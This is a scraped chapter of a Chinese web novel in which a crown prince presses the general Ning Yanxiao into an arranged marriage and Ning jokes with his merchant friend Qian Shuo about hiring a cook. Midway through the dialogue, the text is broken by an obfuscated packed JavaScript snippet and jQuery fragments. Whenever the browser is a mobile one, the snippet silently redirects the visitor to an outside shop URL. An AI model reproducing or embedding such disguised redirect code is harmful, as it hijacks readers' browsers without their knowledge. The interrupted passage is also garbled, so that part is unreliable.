默认冷灰
24号文字
方正启体

10. 第 10 章

作者:三尺秋本书字数:K更新时间:
    “那年你科举及第在翰林院任职不足半年,便自请调到蕲州,可还记得你当时答应了你祖父什么?”


    太子面色沉静看着宁砚骁,语重心长道,“子澜,这么多年过去,有些事,是时候放下了。”


    “噼啪”一声,窗外漆黑的天幕上划过一道闪电,轰隆雷声紧随其后,半开半合的窗柩被风撞得“哐哐”响。


    宁砚骁神色淡淡,将信笺塞回信封内,拿到烛火上焚了,“我在这边,都挺好的。”烛火亮光映进他的黑眸里,如沉深渊,不透一丝生气。


    太子浅叹一声,起身绕过书桌走到木箱前,弯下腰在箱子里翻了翻,寻出一枚石榴红的平安结来。


    “瑀儿给你的。跟你姐姐学了好几日,浪费了不少红绳才得这么一个,非要我一并带来给你。”


    看着太子递过来的平安结,宁砚骁的情绪没有太大的波动,胳膊仍搭在圈椅扶手上,丝毫没有要伸手去接的意思。


    太子笑了笑,往前一步俯下身,极有耐心地将平安结系在宁砚骁腰带上,叙家常一般道:“小孩子一日一长,这次回去,还得为他寻个骑射师父。”


    抬眼见宁砚骁反应不大,太子面色沉了沉,道:“我这几年身体越发不济,精力也有些跟不上了。”他回到桌后坐下,又道,“崇王和赵王明里暗里在朝中安插了不少人,全靠你祖父替我盯着,我才能稍稍喘口气。”


    “可他也老了,再过几年……我和你姐姐,还有瑀儿,能指望的,只有你了。”


    宁砚骁视线往前移了移,落在姐姐为他准备的那一大箱东西上,又收回来,看了眼垂在腰侧的平安结,问:“……要我如何做?”


    “我离京前,父皇已准刘尚书归乡颐养天年,擢升内阁林学士顶上其位的旨意,这两日内便能下来。他孙女今年正好十八,我与你姐姐见过,姿貌端丽,文采不输她的探花郎哥哥,性格也是极温顺体贴的,待你回京见了她,便知我所言非虚。你祖父已与林家通过气,届时只要你点头,婚事即成。”


    “最多两年,我们会设法调你回京接管禁军与南大营。往后,咱们一家人便能常聚了……”


    初春雨急,过后便是大晴天。


    宁砚骁在蕲州城待了五日,送走太子的当天,便披星戴月赶回了密云城。


    先去军营转了一圈,回府时,原先用作守备府的宁府,已挂上了将军府的匾额。


    与同僚们议过事,宁砚骁吩咐管家将午饭送去书房,堆了五天的公务,他准备饭后在书房软塌上小憩过,便着手处理。


    进了书房所在的东院,远远看到廊下站着一人,见他进来,略显敷衍地拱了拱手,迎过来道,“宁将军,恭喜恭喜啊!”


    宁砚骁摆手让身后的随从退下,看也不看钱朔一眼,迈开步子同他错身而过,“又想来我这儿打探什么,或者说,又想替他们递什么话给我?”


    “冤枉啊!”钱朔紧步跟上去,见宁砚骁不搭理,才道,“是,太子去蕲州城之前,没对外透漏分毫,改道来了密云城,但我指天发誓……”


    他小跑上去挡在宁砚骁身前,举起一只手,“该说的,我都说到位了,不该说的,我是一个字都不曾透露。”


    宁砚骁挑眉看他一眼,“我还有不能说的事?我怎么不知。”


    听他这语气,钱朔便知他没恼,一路跟他进了书房,“是是是,你没有。你如今是将军了,我一介商户,惹不起。”钱朔话说得酸,先一步抢了宁砚骁要坐的凳子,得逞地仰起头冲他得意地笑了笑。


    宁砚骁一脸嫌弃,低头扫见桌上只备了他一人的午饭,问钱朔:“吃了没?”


    “没,”钱朔当即哭丧个脸,可怜巴巴的口吻,“得知你回来,我早早就过来候着了,想着你忙,也不敢打扰,就一直在外面吹冷风守着……”


    “屁嘞!今日阳光明媚,哪来的冷风?”小厮五柳端着热茶从门口进来,告状道,“公子,您可别听他瞎说,他半个时辰前才来的,您带回来的肉干,已被他偷吃掉大半了。”


    宁砚骁似是早料到如此,哼笑一声看向钱朔。


    “说谁偷吃呢,”钱朔在外好歹也是个富商,偷个零嘴儿以为没人发觉的,不曾想都被五柳这小厮瞧见了,面上兜不住,瞪了五柳一眼,佯装呵斥道,“臭小子,越来越没大没小了,我跟你主子说话,你也敢插嘴了!”


    “再说,打小太子妃待我与待你家主子别无二致,她知道我跟你主子在一起,那些吃的不可能只给他不给我。”


    宁砚骁低低笑了笑,夹了一筷子春笋炒肉,就着白米饭吃了一大口,道:“姐姐给你准备的那份,我回来时便着人送去你府上了。”


    钱朔的话不假,他们两家往上数五代都是交好的,他到钱家便如回了自己家,钱朔去他家,也没人会拿他当外人。


    “听见没,听见没!”钱朔一下得了势,傲气地冲五柳扬了扬下巴。


    “略略略!”五柳搁下茶,只给宁砚骁倒了一杯,朝钱朔做了个鬼脸,赶在钱朔起身扑过来前,一溜烟儿跑出去了。


    “你瞧瞧,个头才到我肩膀,就敢这么欺负我,你也不管管!”钱朔气得呼哧呼哧喘气,退回桌边坐下。


    宁砚骁看也没看他一眼,埋头继续吃饭,问:“庄子上的那些账目你都对好了?这么得闲往我这儿跑。”


    钱朔抚了抚胸口顺下气,正色道:“我亲自出马,自是事半功倍。”


    宁砚骁颇为认同地点了点头,放下筷子正要拿碗盛汤,钱朔已伸手将碗拿走,搁到汤盅旁,边拿勺子往外舀汤水边问:“你的总兵府,要设在密云城?”


    “嗯,”宁砚骁接过他递来的热汤,吹了吹小喝一口,“如今大梁与各族间的商贸往来,大多都聚在密云城,太子特许我继续留任,蕲州城那边大将军已留了合适的人在管,我每月也会过去一趟。”宁砚骁说的大将军,便是昔日的陈总兵。


    “那便好了,真要我舍了密云城跟你去蕲州城,我还真舍不得呢。”


    钱朔给自己也盛了碗汤,呼噜喝了一大口,砸吧砸吧嘴里的味道,叹道,“你府上厨子的手艺……前日我到桑雪那里,雨婵儿给她炖了一盅莲藕排骨汤,”说着咽了咽口水,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319146|199025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “比你府上的,有滋味多了。”言罢,又探头往门外瞧了瞧,见无人,松了口气继续道,“我就一时感慨,回头你可别跟愫娘说啊。”


    宁砚骁轻笑一声,将碗里的汤尽饮了,道:“我这边的差事板上钉钉了,你那边驿馆扩建的事,是不是也要提上议程了。”


    “工人、木材什么的,早一应准备齐全了,过几日就动工。”钱朔道。


    “给工人做饭的厨子也有了?”


    “有了啊!”钱朔觉出点怪异来,双手抱胸看着宁砚骁,等他的下文。


    宁砚骁状似无意道:“不妨……再招个厨娘吧!”


    钱朔看着他,不说话。


    宁砚骁又道:“往后驿馆大了,不也要再招些厨娘才忙得过来,到时她要愿意留下,不正好肥水不流外人田嘛。”


    “你倒是有心了,”钱朔说罢顿了顿,提醒道,“做厨娘可比不得弹琵琶轻松,赚的也不及弹琵琶多,你觉得她会愿意?”


    “你多费点心,别让她知道是你我的主意,找个她熟悉又稳妥的人,只需让她知晓有这么一件事,愿意不愿意的,不强求。”宁砚骁说着,起身招呼候在外面的五柳进来收拾碗盘茶具。


    五柳原以为一进来免不得又要遭钱朔戏弄,熟料钱朔木头一样坐在不动,像是想什么事想得很入神。


    到五柳出去了,钱朔才起身追到软塌边,问宁砚骁:“你做这些,当真只是可怜她一个小女子谋生不易?”


    言外之意是,从前他们遇上的可怜人多不胜数,宁砚骁最多帮人家一两次,对傅雨婵,却是一而再再而三。


    “不然呢?”宁砚骁觉得钱朔这话问得莫名其妙,拉了毯子盖身上,困倦得上下眼皮打架。


    “对了,她要是愿意去,你安排个得力的人带带她,让她也跟着去采买什么的,不要太刻意,尽量让她除了干活,还能学到些厨娘这一行该掌握的东西,额外超出的银钱,从我账上划。”


    见钱朔还想,宁砚骁强撑开眼皮添了句:“当然了,你是老板,要不要她你决定,我就是……提一嘴。”


    “你、你这叫提一嘴?”钱朔瞪着他的后脑勺,瞧他实在困累得不行,小声叨叨了几句,出去轻轻带上门,走下台阶。


    看到五柳又回了院子里,对上他就要跑,钱朔飞快冲上去将人擒住,捂了嘴将五柳拉到角落里。


    “我又没说错,你就算把我打成猪头,下次你再偷吃我家公子的东西,我还说!”五柳分明怕得眼睛都不敢睁开,嘴里仍唔唔说着话。


    钱朔一松开他,他便抬手护住脑袋,求饶道:“小的知错了,钱大公子大人有大量,饶了小的这一回吧!”


    “哈哈……”钱朔被他这变脸比翻书还快的样子逗乐了,“今日的账我记下了,得闲了再来找你讨回,现在,去跟愫娘说一声,将上回姜大夫给你主子开的药膳方子翻出来,给你家主子换换伙食。”


    钱朔说罢,也不等五柳反应,甩开袖子往外去了,嘴里咕叨着:“真当自己是铁打的身子了,宁砚骁啊宁砚骁,离了哥哥我,还有谁真疼你,哼!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)